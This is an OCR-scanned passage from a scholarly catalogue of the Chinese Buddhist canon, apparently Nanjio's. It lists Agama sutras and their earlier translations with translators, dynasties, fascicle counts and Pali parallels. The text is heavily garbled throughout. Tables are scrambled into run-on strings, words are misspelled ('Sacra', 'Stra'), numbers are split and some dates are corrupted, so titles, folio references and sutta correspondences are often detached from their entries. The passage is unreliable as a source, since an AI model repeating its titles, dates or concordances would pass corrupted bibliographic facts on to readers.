Gautami (Mahpragpatl)(181) many (or eighteen) DhtusTwin Varga 15.(182) On the (instruction given at the) horse) 8village(?), part 1 3 4(183 )(instruction given at the) horse i
413 -8 avillage (?), part 2(184) Gosringa-sla forest, part 1 8 b-18 a(185) Gosriga-sala forest, part a18 a-23 b(186) search for understanding23 b-26 aADRYYA5 ; 3 6 Sutras.On the explanation of wisdom (Tirthaka) Agina (?) holy path (40 great articles)On emptiness' in short (lit. small)On emptiness in full (lit. large)Latter Mah-varga 1 6.(19 2)' On the (instruction to) Klodayin(19 3 ) (instruction to Bhikshu) Men-li-po-khiiin-na (?)(19 4) (instruction to Bhikshii) Bhadrapla5 i(19 5) (instruction to Bhikshu) -shi-kii(Aavaghosha?)1(19 6)(19 7),,
42
(z87)(188)(189 )(19 0)(19 1)49 Ia-8a8a-13 a13 a-17 b17 b-2I a21 a-3 0 b1a-I2 aI a b-2o bl a-IIbI I b-20 bI a-IIbIib-15b15b-23 11xa-15a13 3 STRA-PITAKA,13 4TITLE.FASC. FOL.(200) On the (warning to the Bhikshu) Artha54 I a-1 2 b(toi) (instruction to theBhikshu)Kka-ti (?)1 2b-24 aVarga 17;on(the instruction to) Pu-li-to (V`riddlia ?, and others).(202)On the keeping of the fast-day (TJposatho, } 55in Pli)(203 )(instruction to the Grihapati) Vrid- tdha (?)j.(204) (instruction to the Bhikshus at the56 a-I I bhouse of the Brahmakrin) Rama f(205)five lower knots (to be cut off) i i b-17 b(206) impurity of the (human) thought171)-21 a(207) (instruction to the Tirthaka) Arrow- 1 5
I a-8 ahair, part I(208) (instruction to the Tirthaka) Arrow- thair, part 2(209 ). (instruction to the Tirthaka) Vima - inas (?)(210) ;,. (dialogues between the) BhikshuniDharmaratt (? and Vaiskhya ?) 58(211) (dialogues between Sr ariputra and) }Maha-kaushthilaVarga 18, on example.(212) On the all-knowing (Sarvagt)(213) law-adornment (Dharma-vyha)(2x4) Vihati (or friend ?) -(215) ,,. first obtainment1 (217)(instruction of Ananda to the Gri-(216) production of love
(6) 'Upsaka^ Bhikshunis
(7) Upasik.s
(8) Asurasonly son (and daughter comparison)
(Ii) Anagfamin(12) On once entering the path(i3) On the profitable support . ' 6(14) ' ' five Silas (Sikshpadas)(15) . (faults of the belief in) existence and non-existence
(17)In-pan or npna-smriti-karmasthdna,'ormeditation on breath inhaled and exhaled.(See Spence Hardy, Eastern Monachism,pp. 267-269 . Cf. Mi-i-tsi, fasc. 17, fol.x7 a seq. ; Childers, Pali Diet. , p. 3 1 b. )08) On shamefulness(i9 ) On the persuading and asking (of Brahman to Buddha:'to turn the wheel of the law)
59 i a- to biob-18 a. 18 a-24b24b-28 b6oIa-5a5 a-8 a8a-9 a9 a-IIaIIa-i2 b12b-17b17 b-3 oa23(9 ) 45II(31)(32) ,,(3 3 )(3 4) ^^(35) ,,(36) (An (^;.(9 ) On the SagitiOn the Dasottara(-dharma)9On the Ekottara )(-dharma)y IoOn the Trirsi(-dharma) -(13 ) On the Mabni-dna-upya
1I1I 3 . ---1515a-23 b12I a-14a(3 1) Siglo-vda-sutta,S. S. P. , pp. 29 7-3 10 (text), 3 11-3 20 (an Englishtranslation)14a-2a ^.(28) Sampadniya-sut-ta. S. S. P. , P. 3 48i (20). Mahsamaya-sut-
t. lation)I a-7137 b-io b(is) Mahnidna - sut-ta. S. S. P. , pp.245-262 (text),263 - 279 (a Fr.translation)(2I) Sakk-pamh-sut-i 8 b-29 b {ta. S. S. P. , pp.3 45-610 b-18 b13 5STRA-PITAKA. 1 36TITLE. FASC.(3 8) On the (six) powers (as crying of a child, anger of awoman, patience of a Srmana and Brah- 31_3 2makrin, pride of a king, intelligence of anArhat, and the great compassion of Buddha)(3 9 ) equal law3 3(40),, seven suns (to appear at the end of a Kalpa) 3 4-3 5.(4i) On (the instruction as) not to be feared(42) On the eight difficulties (Ashtkshana)3 6-3 7(43 ),, (instruction to the) Devaputra Horse-blood 3 8-3 9(44) dwellings of nine (sorts of) beings40(45) horse-king41(46) establishment of prohibition42(47) (ten) good and bad (actions)43(48) ten bad (actions) 44(49 ) pasturing to cows, 45-46(50), worship of the Triratna47(5i) Anitya or non-eternity48(52) Parinirvna of Mahpragpatt49 -50N. B. The above titles show the contents of the first Stara ofeach chapter.544' , 1 4TA-6-han-kilt.Samyuktgama-s{ltra.R'-yuen-lu, fasc. 6, fol. 19 a; Conc. 755; Wassiljew,p. 115. Translated by Gunabhadra, of the earlier Sundynasty, A. D. 420-479 . 5o fasciculi. It agrees withTibetan. K'-yuen-lu, s. v. About half of this Stra isthe same as or similar to Nos. 542, 543 ; and the com-position in Chinese is more perfect. But the titles ofchapters are not complete. . K'tsin, fasc. 29 , fol. 9 b. .No. 544 is to be compared with the Pli text of theSamyutta-nikya, collection of joined Suttas. SeeSacred Books of the East, vol. x, p. xxviii.545ai. Fo-shwo-kkaii--han-kin.' Buddhabhshita-dirghgama-stra.Drghagama-sfltra.K'-yuen-lu, fasc. 6, fol. 17 b; Conc. 68o; Wassiljew,p. a i5. Translated by Buddhayasas, together with KuFo-nien, A. D. 412-413 , of the Latter Tshin dynasty,A. D. 3 84-417. 22 fasciculi; 4 vargas ; 3 o Stras col-lected. It agrees with Tibetan. K'-Yuen-lu, s. v.No. 545 is to be compared with the Pli text of theDigha-nikya, collection of long Suttas, 3 4 in number.See Sacred Books of the East, vol. x, p. xxviii. The fol-^lowing table will show the difference of the order of the3 0 and, 3 4 , Stras in No. 54. 5 and the Pli text; forwhich latter, see Sept Suttas Pli^ , by Grimblot :NO. 545: TITLE. FASC. FOL;Varga 1; 4 Stras.(I) Sittra on the first-great-original-ni-dna.(2) On going for plea-1I I a-3 8 b(14) Mahpadhna-sutta. S. S. P. ,PP. 3 43 -4sure,orVihra(?),or Mahparinir-231 ar19 bi a-25 b[(16) Mahaparinibbna-sutta. S. S. P. , vna- stra. Cf. iNos. ix8, 119 ,5454 1 a-24a [. . P. 3 44; S. B. E. , vol. xi(3 ) On (the minister (i9 ) Mahgovinda-sut-named)Tien-tsun5 1 a-15 ata. S. S. P. , p.(lit. ruling worthy)3 45(18) Ganavasabha-sut-(4) On (the demon)Ganesa.15 9 ,22 btanta. S. S. P. ,P. 3 45Varga 2 ; 15 SQ tras.6 i a- ioa(26) Kakkavatti - siha-IOar22 anda-sutta. S. S.-P. , P 3 47-87 1a-Obf.P. , P 3 46(25) Udumbarika-siha-I -9 bn^da-sutta. S. S. a P. , P. 3 479 b-20 b (3 3 ) Sang4ti-suttanta.S. S. P. , p. 3 49I a-17 b { (3 4) Das uttara-t-ta: S. S. P. ,sup. 3 49tanOn the question ofSakra DevnmIndraOn (the city) - itho-i (?)On (the Grihapati-putra) Sugta (?'well born). Cf.No. 542 (13 5)On the pureness i(of practice)On the self-joy- }fulness1On the Mahsa- 1maya (great as-sembly)(5) On the four castes(6) On the practice ofthe holy Kakra-varti-raga(7) On (the Brhma-na) Pi-su (i. e.Pyasika ?)(8) On(theGrihapati)Sandhna8(23 ) Pysi-sutta. S. S.PLI. FOL.to Stras.a-23 a{(3 ) Ambattha-sutta. S.S. P. , pp. 3 3 9 -3 4o(I) Brahmagla-sutta.S. S. P:, pp. 1-58I a,-2I a(text), 59 -112. (anEnglish trans. )S. S. P. , p. 3 40(5) Kutadanta-sutta.
1 a-6 atanta. S. S. P. ,P. 3 426a-12 b(8) Ka^ sapa-s9 . handa-sutta. S. S. P,,P 3 42a-Io a(4) Sonadanda-sutta.I (13 )12 b-21 ar (2)Ia-IOb^(9 )Iob-20. b{(12)2Ia-26aTevigga-suttanta.S. S. P. , p. 3 43 ;S. B. E. , vol. xiSamaa - phala-sutta. S. S. P. ,pp.113 -154 (text),166-186 (an Eng.trans. ), 187-244(a French trans. )Potth. apida - sut-tanta. S. S. P. ,P. 3 42Lohikha-suttanta.PP. 3 42-3Varga 4; 1 Stara.,o) On the record of the world :-NO. 545: TITLE.Chap. 1, on Gambudvlpa 2, on Uttarakuru . 3 , on the holy %akravarti-raga 4, on the Narakas 5, on the Naga and birds 6, on the Asuras20 7, on the Haturdivya (or Mahrgas) 8, on the Trayastrinysas,, 9 , on the three misfortunes21 '1o, on the fighting (of the Devas ana }Asuras) xi, on the three middle Kalpas22 12, on the original cause of the world14b--24b1 a-3 b4a-2I,8.
FASC. FOL.18 I-a-13 a13 a-19 b29 b-26 b19 Ya-20 a20 b-27 a1 a-4b4b-77 a-29 aI a-14b1 37 STItA-PITAKA4. 13 8NO. 545: TITLE. FASC.Varga 3 ;(20) On (the Malaya)Ambashtha (?) 3 13(22) On the Brahma-gla (lit. Brahma- 4moving)(22) On (the Brhmananamed) Planting 15virtue (?)(23 ) On (the Brahma-ns) Kutadanta(2 4 On (the Grihapati-putranamed)Firm- 16ness (Sthira ?)(25) OntheAkela-brah-makrin , (whosepatronymic wasKsyapa)(26) On the Traividyal(27) OntheSrmanya- r 17J(28) On (the Brahma-krin)Pu-khi-pho-leu (i. e. Putapila,or Pustapida?)(29 ) On (the Brahma-na) Lu-k (?)-Thus six Stras in No. 545 (viz. 5, 1, 12, 15, 17,3 o) seem notto be given in the Pali text, or at least with different titles. Atthe same time, the following ten Suttas seem to be left out inNo. 545 :(6) Mahli-suttanta, S. S. P. , P. 3 41;' (7) Gliya-sut-tanta, pp. 3 41-2 ; (I0) Subha-sutt, pp. 154-165 ; (17) Mah-sudassana-sutta, pp. 3 44-5,. -this is, however, found in No. 542(68) ; (22) Mahsatipatthna-sutta, p. 3 46; (24) Ptika-sutta,PP. 3 46-7; (27) Aggaa-suttanta, p. 3 48 ; (29 )Pasdika-sutta,p. 3 48 ; (3 o) Lakkhana-suttanta, p. 3 48 ; (3 2) tnttya-sutta,pp. 3 21-3 3 7. It is, however, possiblethat if No. 545 is com-pared with the Pli text minutely, some of these Suttas may stillbe found.546EliPieh-i-tea--hn-kin.`Adifferent translation of Samyaktgma-stra. 'Saktavargagama-stra (?).K'-yuen-lu, fasc. 6, fol. 1 9 b; Conc. 451. Translatedunder the three Tshin dynasties, A. D. 3 5o-43 1; but thetranslator's name is lost. 20 fasciculi, It agrees withTibetan. K'-yuen-lu, s. v.547 Ts- o-hn- ^1n.San?. yuk Agama - sfltra.Translated under the Wi and Wu dynasties, A. D.220-280; but the translator's name is lost, . i fasciculus.25 short Stras collected.The above two works are extracts from a full text asthat of No. 544. K' -tsili, fasc. 29 , fol, 9 b.548 ^^*`^^^^Kh--hn-shi-pao-f-ki.' Stra on the law of ten rewards in the Dlrghgama. 'Translated byn Shi-kao, of the Eastern Han dynasty,A. D. 25-220. 2 fasciculi. This is-an earlier transla-tion of No. 545(1o), i. e. the Dasottara-stra. It cdn-tains 55o dharmas. Piao-mu, fasc. 6, fol. 1 9 b; K', tsi,fasc. 29 , fol. 7 a.549 a M JKhi-shi; yin-pan-ki.'Stara on the original cause of raising the world (?):Translated by Dharmagupta, of the Sui dynasty, A. D.589 -618. 10 fasciculi ; 12 chapters.550Khi-shi-ki,' Siltra on raising the world (?):Translated by ailnagupta, of the Sui dynasty, A. D.589 -618. Jo fasciculi ; 1 2 chapters.W551"^. 1J^CFo-shwo-leu-thanki.Stara on the Lokadhtu (?) spoken by Buddha. 'Translated by. Fa-li, together with FA-k, of the ,phalaI1 39S'T1 1 A-PITAKA.1 40Western Tsin dynasty, A. D. 265-3 16. 6 fasciculi;13 chapters.The above three works are earlier translations ofNo. 545 ( 30),i. e. the Stra. on the record of the world,in the DIrghgama. K'-yuen-lu, fasc. 6, fol. 22 a;K'. . tsin, fasc. 29 , fol. 8 b.552.Fo-pan-ni-Yuen-kin.Buddha-parinirvna-satra. 'Mahaparinirvana-stra. K'-yuen-lu, fasc. 6, fol. 20 a ; Conc. 166. Translatedby Po F-tsu, A. D. 29 0-3 06, of the Western Tsin dynasty,A. D. 265-3 16. 2 fasciculi. This is. art earlier transla-tion of Nos. 118,119 , 545(2) ; and it agrees with Tibetan.K'- yuen-lu, fasc. , s. v. . : For the comparison with thePli text of the Mahparinibbna-sutta, see the SacredBooks of the East, vol. xi, pp. xxxvixxxix.553 ^ tit A *431Fo-shwo-zan-pan-y-shah-kin.' Sutra spoken by Buddha on the Avidy, Trishna, and Gtti(1. e. three of the twelve Nidtnas) of man. 'Translated by In Shi-ko, A. D. 146,. of the EasternRan dynasty, A. D. 25-220. 1 fasciculus. This is anearlier translation of No. 545 (13 ), i. e. the Mahnidna-upya-stra, in the Dirghagama. K'-yuen-lu, fasc. 6,fol. 20 b.554Fo-shwo-fan-wan-liu-shi = rh=kien-ki.' Stara spoken by Buddha on sixty-two (different) . views; of thenet of Brahma:Brahma-gala-gara.A. R. , p. 483 ; A. M. G. , p. 286. Translated by K'Khien, of the Wu dynasty, A. D. 222-280. x fasciculus.This is an earlier translation of No. 545 (Z 1). K'-yen - lu,. fasc. 6, fol. 21 a. -555 wra th fitFo-shwo-sh'- ki-lo-yueh-liu-f^ -li-kip.' S{itra spoken by Buddha on the worship of six quarters(i. e. four cardinal points and zenith and nadir), beingthe Slglo (or Srigla ?)-v(da). ''Translated byn Shi-ko, of the Eastern Hn dynasty,A. D. 25-220. 8 leaves. This is an earlier and shortertranslation of Nos. 542 (13 5) and 545 (i6). K'-yuen-lu, fasc. 6, fol. 20 b. Apartial English translatijn hasbeen published by Mr. Beal, in his Catalogue, p. r 12.556
gKun-pan-khi-kin.Madhyama-ityukta-stra. 'Translated by Th&n-kwo (Dharmaphala), togetherwith Kbri Man-si, A, D. 207, of the Eastern Hndynasty, A. D. 25-220. 2 fasciculi; 15 chapters. Thisi^ said to be an extract from a full text, of the Dlrgh-gama,- No. 545. K'-yuen-lu. fast. 6; fol. 22 a. Thisis a life of Skyamuni. The subject of the first chapteris his turning the wheel of the law, and that of thefifteenth is his eating the horse-barley.557Fo-shwo-tshi-k'-'Mtn' spoken by Buddha on the seven kinds of knowledge. 'Translated by K' Kkien, of the Wu dynasty, A. D.222-280. 3 leaves. This is an earlier translation ofNo. 542 (1); i, e. the Stra on the good law, in theMadhyamgama. K'-yuen-lu, fasc. 6, fol. 22 a.558fig' w7Fo-shwo-hhien-shui-yii-ki.' Sutra spoken by Buddha on the salt-water comparison. 'Translated under the Western Tsin dynasty, A. D.265-3 16; but the translator's- name is lost. 2 leaves. This is an earlier translation of No. 542 (4), i. e. theStra on the water comparison, in the Madhyamgama.K'-yuen-lu, fasc. 6, fol. 22 b.559 ^ *--WMA-4- 1 1 1Fo-shwo-yi-tshi-liu-sh-sheu-yin-kin.Sutra spoken by Buddha on the cause of all the Asravasor sins. 'Translated by In Shi-ko, of the Eastern Hndynasty, A. D. 25-220. 5 leaves. This is an earliertranslation of No. _ 542 Oro), i, e. the . srava-kshaya-stra, in the Madhyamgama. K'-yuen-lu, fasc. 6,fol. 22 b.560 RNJ ;g- ]j3 L^^f4Fo-shwo-yen-lo-wan-wu-thien-sh'- k-ki.' Sutra spoken by Buddha on the five heavenly messengers ofthe King Yama. 'Translated by Hwui-kien of the earlier Sun dynasty,A. D. 420-479 ' - 4 leaves.561 POFo-shwo-thie-khan-ni-li-ki.' Sutra. spoken by Buddha on the iron-castle Naraka. ''It{1 41 StTRA-PITAKA.142Translated by Thin-wu-14,n (Dharmaraksha I), of theEastern Tsin dynasty, A. D. 3 17-420. 6 leaves.The above two works are similar translations ofNo. 542 (64), i. e. the Stra on the heavenly messengers,in the Madhyam&gama. K'-yuen-lu, fasc. 6, fol. 23 b.562 PO* aFo-shwo-ku-lfil-shi-s12- kb!).'Stara spoken by Buddha on the world and time of the pastand future. 'Translated under the Western Tsin dynasty, A. D.265-3 16. 6 leaves. This is an earlier translation ofNo. 542 (i3 ), 1. e. the Stra on the account of the formercause (etc. ), in the Madhyamigama. K'-yuen-lu, fasc. 6,fol. 24 a.563 OD tit V. 710 * A ASiSAtra spoken by Buddha on the eight intense thoughts ofAnuruddha. 'Translated by K' A. D. 185, of the Eastern Handynasty, A. D. 25-220. 5 leaves. This is an earliertranslation of No. 542 (74), i. e. the Stra on the eightintense thoughts, in the Madhyamgama. K'-yuen-lu,fasc. 6, fol. 24 a,564it:51'Stara spoken by Buddha on the freedom from sleep. 'Translated by Ku P-hu (Dharmaraksha), of theWestern Tsip frdynasty, A. D. 265-3 16. 3 leaves. Thisis an earliertranslation of No. 542 (83 ), i. e. the Straon the ifeepinesa_of the Sthavira (Maudgalyliyana), inthe Madhyamigama, r-yuen-lu, fase. 6, fol. 24 a.565 *it MFo-shwo-sh'-'Satre, spoken by Buddha on the law, true and not true. 'Translated by In Shi-kio, of the Eastern Hin dynasty,A. D. 25-2. 2o. 4 leaves. This is an earlier translationof No. 542 (85), e. the Stra on the true man, in theMadlyamigama. K'-yuen-lu, fasc. 6, fol. 24 a.566
3 tgFo-shwo-1 -sikt-/ciA.SAtra spoken by Buddha on the idea of happiness. 'Translated by Eu F-hu (Dharmaraksha), of- theWestern Tsin dynasty, A. D. 265-3 16. 2 leaves. Thisis au earlier translation of No. 542 (1o6), e. the Straon consciousness, in the MadhyamAgama. K' -yuen-lu,fasc. 6, fol. 25 b.567MIM A); TffFo-shwo-leu-fan-pu-ki.'Stra spoken by Buddha on the explanation of Asrava (?). 'Translated bylin Shi-ko, of the Eastern 116,n dyna,sty,A. D. 25-220. 7 leaves. This is an earlier translationof No. 54 2 (u I), e. the Brahmakaryi-siltra, in. theMadhyamfigama. . K'- yuen-lu, fase. 6, fol. 25 b.568SMa 1 4 G Stitra spoken by Buddha on (the village) A. nup4(ta ?). 'Translated by. Thin-wu-lin (Dharmaraksha I), of theEastern Tsin dynasty, A. D. 3 17-420. 7 leaves. Thisis an earlier translation of No. 542 (r 2), i. e. the Straon Anupi(t47), in the Madhyamigama. K'-yuen-lu,fase. 6, fol. 25 b.569NFt/' Stra spoken by Buddha on desire. 'Translated by of the Western Tsin dynasty,A. D. 265-3 16. 12 leaves. This is an earlier transla-tion of No. 542 (87), e. the Stra on the uncleanness,in the Maclhyamfigama. K'- yuen-lu, fasc, 6, fol. 24 b.Fo-shwo-sheu-sui-kiit.Stara spoken by Buddha on receiving the year (1). 'Translated by Ku Fit-hu (Dharmaraksha), of. theWestern Tsin dynasty, A. D. 265-3 16. 5 leaves. Thisis an earlier translation of No. 542 (89 ), e. the Straon the Bhikshu's- asking (other worthies), iii ,the Ma.dhyami! : ma. . K'-yuen-lu, fasc. 6, fol. 24 b.571 s n a 4' Fo-shwo-fan-lc'-SAtra spoken by Buddha on the Brahmaarin who thinkswater pure: Translated under the Western Tsin dynasty, A. D.265-3 16; 'but the translator's name is lost. 3 leaves.This is an earlier translation of No. 542 j. theStra of a similar title to that of No. 57 1, in the Madhya--mttgama. fan. 6, fol. 25 a.57 2 .14 It lit 1.Fo-shwo-fu-yin-. 44. SAtra spoken by Buddha on Overcoming lust. '570.1 43BVPRA,-PITAKA.1 44Translated by Fa-k, of the Western Tsin dynasty,A. D. 265-3 16. 4 leaves. This-is an earlier translationof Ibo. 542 (126), i, e. the Stra on the practice ofdesire, in the Madhyamagama. K'-yuen-lu, fasc. 6,fol. 26 b.573 feiltRAANIVFo-shwo-mo-zo-lwn-kin.Sacra spoken by Buddha on (Maudgalyftyana's) temptation bythe Mara. 'Translated under the . Eastern Inn dynasty, A. D. 252 20 ; but the translator's name is lost. 10 leaves.574a RP 'Fo-shwo-pi-mo-sh'- rnu-lien-kin.'Satre, spoken-by,Bt ddha on Maudgalyyana's temptation bythe wicked Mara. 'Translated by K' Eiden, of the Wu dynasty, A. 'D.222-280. 7 leaves.The above two works are earlier translations of No.542 (13 L), i. e. the Stra on the subjugation of theMara, in the Madhyamagama. K'-yuen-lu, fasc. 6,fol. 26 b.AM V4 ^Fo-shwo-ni-li-kin.'Sara spoken by Buddha on the Naraka. 'Translated by Than-wu-lan (Dharmaraksha I), of theEastern Tsin dynasty, A. D. 3 i7-42o. 14 leaves. , Thisis a similar translation of No. 542 (19 9 ), i. e. the Straon the state of wisdom and foolishness, in the Madhya-mgama. K'. . yuen-lu, fasc. 7, fol. 2 a.576 f0 gft..'qFo-shwo-yiu-pho-i-to-sh-ki-kin.' Sacra spoken by Buddha to the Upsik r a To- sh-ki (?). 'Translated under the earlier Sun dynasty, A. D. 420-479 ; but the translator's name is lost. 4 leaves.577R04Fo-shwo-ki-kin.Sacra spoken by Buddha on fasting (Uposatho in PAli). 'Translated by K' KMen, of the Wv. dynasty, A. D.22 280. . 4 leaves.The above two works are similar translations of No.542 (202), i. e. the Saraa on keeping a fast, in theMadhyam,ama. K'-yuen-lu, fasc. 7, fol. 2 a.578fOtt3g1 t41 1Fo-shwo-khu-yin-kin.Stra spoken by Buddha on the Duhkha-skandha (?):Translated under the Eastern' Hn dynasty, A. D. 252 20 ; but the translator's name is lost. 6 leaves. Thisis an earlier translation of No. 542 (9 9 ), i. e. part 1 ofthe Stra on the Dhkha-skandha, in the Madhyama-gama. K'-yuen-lu, fasc. -6, fol. 25 a.579 fit 'g*^Fo-shwo-kliu-yin-yin-sh'- ki. Sacra spoken by Buddha on the cause of the Duhkha-skandha. 'Translated by F-kti, of the Western Tsin. dynasty,A. D. 265-3i6. 6 leaves.580,YJFo-shwo-shih-tao-n . n-pan-kin.Sutra on the cause spoken by Buddha to Skya Mah'nman. 'Translated by K' Khien, of the Wu dynasty, A. D.222-280. 5 leaves.The above two works are earlier translations of No.542 (Loo),. i. e. part 2 of the Stra on the Duhkha-.skandha, in the Madhvamgama. K'-yuen-lu, fasc. 6,,fol. 25 a.581A.Fo-shwo-pi-mo-suh-kin.Sacra spoken by Buddha to Vimanas (?). 'Translated by Gunabhadra, of the earlier Sun dynasty,A. D. 420-479 . 5 leaves. This is a later translation ofNo. 542 (209 ), i. e. the Stra spoken to Vimanas (1), inthe Madhyamgama. K'-yuen lu, fasc. 7, fol. 2 b.582 M O i M *1 9Fo-shwo-pho-lo-man-tsz'- Irvin-kun-i-tien-pu-li-kin.Stra spoken by Buddha to a Brahwana who could not becomefree from tender thoughts at the death of his son. 'Translated by In Shi-ko, of the Eastern Handynasty, A. D. 25-220. 5 leaves. This is an earliertranslation of No. 542 (216), i. e. the Stra on the pro-duction of love, in the Madhyamagama. K'-yuen-lu,fasc. 7, fol. 2 b.583 lit -i A M A AgFo-shwo-shi-k'- k-sh'- p-khn-zan-kin.'Stara spoken by Buddha to the Grihpati, being a manpossessed of eight cities and ten families (?).575145StTRA-PITAKA.Translated by 'An Shi-ko, of the Eastern Plndynasty, A. D. 25-220. 4 leaves. This is an earliertranslation of No. 542 (217), i. e. the Stra spoken bynanda to the Grihapati possessed of eight cities (?), inthe Madhyamgama. K'-yuen-lu, fasc. 7, fol. 2 b.584Fo-shwo-si-kien-ki.' Stara spoken by Buddha on the unjust views. 'Translated under the Eastern Tsin dynasty, A. D.3 17-420 ; but the translator's name is lost. 2 leaves.This is a later traislation of No. 542 (220), i. e. theStra on the view of the Tathgata, in the Madhya-mgama. . K'-Yuen-lu, fasc. 7, fol. 3 a.585at n 0Fo-shwo-tsien-yii-ki.' Sara spoken by Buddha on the arrow comparison. 'Translated under the Eastern Tsin dynasty, A. D. 3 1 7-420; but the translator's name is lost. 4 leaves. Thisis a similar translation of No. 542 (221), i, e. the Stradf the same title as that of No. 585, in the Madhyam-gam-a. K'-yuen-lu, fasc. 7, fol. 3 a.586T4 at 11ai #EFo- shwo-phu-f-i-ki.'Sara spoken by Buddha on the universal meaning of the law. 'Translated by Ali Shi-ko, A. D. 152, of the EasternHan dynasty, A, D. 25-220. t o leaves.587 TaM I9Fo-shwo-kwii-i-f&-man-ki:Stara spoken by Buddha on the gate of the law of wide meaning. 'Translated by Paramrtha, of the Khan dynasty,A, D. 557-58 9 . 10 leaves.The above two works are similar translations of achapter in the Madhyamgama, No. 542 ; but the titleof the chapter is not mentioned in K'-yuen-lu, fuse. 6,fol. 3 a; Piao-mu, fasc. 6, fol. 28 b; K'-tain, fasc. 3 1,fol. 3 a.588
TIgo-shwo-ki4h-hhai-ki.` Sfltra spoken by Buddha on the fragrance of the virtue of Sua. 'Translated by Thin-wu-lin (Dharmaraksha ?), of theEastern Tsin dynasty, A. D. 3 17-420. 2 leaves. Thisis a similar translation of No. 543 (23 ), i. e. the chapteron the Lord of the earth, in the Ekottargama. K'-yue. n-lu, fasc. 7, fol. 3 b.1 46589 ap^i ,L,Fo-shwo-sz'- zan-khu-hhien-shi-7ien-kiii.'Sfltra spoken'by Buddha on four men's appearance in the world. 'Translated by Gunabhadra, of the earlier Sufi dynasty,A. D. 420-479 . 4 leaves. This is a later translationof No. 543 (26), i, e. the chapter on the four kinds ofthe cutting of thought, in the Ekottargama. . ^'-yuen-lu, faso. 6, fol. 3 b.59 0Fo-shwp-ku-f-pan-ki.'Stara spoken by Buddha on the origin of Sarva-dharma. 'Translated by _K' Eiden, of the Wu dynasty, A. D.222-280. 1 leaf. This is an earlier translation ofNo. 542 (ii), i. e. the Stra of the same title as thatof No. 59 o, in the Madhyamgama. K'-yuen-lu, fasc.b, fol. 26 a.59 1 neFo-shwo-kli-thn-mi-ki-kwo-ki.Stara spoken by Buddha on the prophecy of Gautami. 'Translated by Hwui-kien, A. D. 457, of the earlierSun dynasty, A. D. 420-479 . 8 leaves. This is a latertranslation of No. 542 (i x6), i. e. the Stra on Gau-tamt, in the Madhyamilgama. K' -yuen-lu, fasc. 6, fol.26 a. There is another translation similar to Nos. 542(116) and 59 1, viz, chap. 9 of No. 556.59 2gaiFo-shwo-fn-k'- -fu-ki.Stra spoken by Buddha on the Brahmakrin Ambashtha (?):Translated by K' Eiden, of the Wu dynasty, A. D.222-280. 1 fasciculus. This is an earlier transla-tion of No. 545 (20), i. e. the Stra on (the Malaya)Ambashtha (?), in the Drghgama. K'- yuen-l, fasc. 6,fol- 21 a.59 3 Fo-shwo-tsi-k'- kwo-ki.'Stara spoken by Buddha on the fruit of the calm-minded(i. e. SrAmanya-phala). 'Translated, by Thin-wu-lin (Dharmaraksha ?), of theEastern Tsin dynasty, A. D. 3 17-420. I fasciculus.This is a similar translation of No. 545 (27), i. e. theSrmanya-phala-stra, in the Dirghgaxa. K'-yuen-lu,fasc. 6, fol. 21 a. -59 4 T0atFo-shwo-li-k^l^,-h-lo-ki.' Stara spoken by Buddha on (the Grlhapati) Rashtrap0,la (?). 'L147 -Sf1TRA-PITIIKA. 148Translated by K' Khien, of the Wu dynasty, A. D.222-280. 12 leaves, ` This is an earlier translation ofNo. 542 (13 2), i. e. 'the Stra of the same title as thatof No. 59 4, in the Madhyamgama. K'-yuen-lu,fasc. 6, fol. 27 a.59 5ft.TFo-shwo-shn-shaii=tsz'- kin.Sutra spoken by Buddha to the son of Sugtta. 'Translated by Ku Fa-hu (Dharmaraksha), of the:Western Tsin dynasty, A. D. 265-3 16. 9 leaves. Thisis a similar translation of No. 542 (13 5), i. e. the Straspoken to Sug&ta in the Madhyamgama, and also Nos.545 (16), 555, being the Siglo (or Srlg&la I)-vda.Cf. K'-yuen-lu, fasc. 6, fol. 27 a:59 6SitFo-shwo-shu-kill.' Sutra spoken by Buddha to Sar^ khya (-maudgalyayana):Translated by Fa-k, of the Western Tsin dynasty,A. D. 265-3 16. 6 leaves. This is an earlier translationof No. 542 (144), i. e. the Sutra spoken to Sakhya-maudgalyyana, in the Madhyamgama. K'-yuen-lu,fasc. 6, fol. 27 a.59 7Ry. fi g rfliFo-shwo -fan- k'-n-po-l-yenwankun. -tsun-ki. .Sutra spoken by Buddha on the superiority of the caste (ofBr&,hmanas) in answer to the Brahmakarin 146-po-lo-yen (?). 'Translated by Than-wu-ln (Dharmaraksha), of theEastern Tsin dynasty, A. D. 3 17-420. 8 leaves. Thisis a similar translation of No. 542 (15i), i. e. the-Straspoken to Asva (I), blithe Madhyam&gams. K'-yuen-lu, fasc. 6, fol. -27 b. ,59 8
P11 iFo-shwo-sz'-ti-ki.' Sutra spoken by Buddha on the four truths. 'Katus-satya-sutra.A. R. , p. 476 ; A. M. G. , p. 279 . Translated by InShi-ko, of the Eastern, Han dynasty, A. D. 25-220.10 leaves. This is an earlier translation of No. 542. (3 1),i. e. the Sutra on the explanation of the holy truths, inthe Madhyamgama. K'-yuen-lu, fasc. 6, fol. 2 2 b.59 9
S ig%Fo-shwo-han-shui-kin.Sutra spoken by Buddha on the river Gaiiga (comparison)!Translated by Fa-k, of the Western Tsin dynasty,A. D. 265-3 16. 4 leaves. This is an earlier translationof No. 542 (3 7), i. e. the Stra on (the country of)Kamp& (?), in the Madhyamgama. K'-yuen-lu, fasc.6, fol. 23 a. .600rotg4 A -^F o-shwo-kan-pho-pi-khiu-ki.` Sutra spoken by Buddha on the. Bhikshu Kampa. 'Translated by Fa-k, of the Western Tsin dynasty,. A. D. 26573 16. 4 leaves. This is an earlier translationof No. 542 (122),' i. e. the Stra on Kampa, in theMadhyamgama. K'-yuen-lu, 'fasc. 6, fol. 26 a.6010Fo-shwo-pan-^ iAn-i-k' - kin.Sutra spoken by Buddha on the fundamental relationship(or causation);Translated by In Shi-ko, of the Eastern Hndynasty, A. D. 25-220. 3 leaves.602w* gFo-shwo-yuen-pan-k'- kin.Sutra spoken by Buddha on the fundamental causation. 'Translated under the Eastern Tsin 'dynasty, A. D. 3 17-420 ; but the translator's name is lost. 2 leaves. Theabove two works are similar translations of No. 542(5i), i. e. the Sutra on the fundamental Iimit, in theMadhyamgama. K'-yuen-lu, fasc. 6, fol. 23 a.^^603 w ^Fo-shwo-tin-sha-w-ku-sh'- kin.'Sara spoken by Buddha on the former account of the KingMrdhaga.Translated by F-kti, of the Western Tsin dynasty,A. D. 265-3 16. 7 leaves.604 S A4 1Fo-shwo-wan-tho-ki-wan-kin.Sutra spoken by Buddha on the King Mndhftri. 'Translated by Dharmaraksha, of the Northern Lidynasty, A. D. 3 9 7-43 9. 4 leaves.The above two works are similar translations of No.542 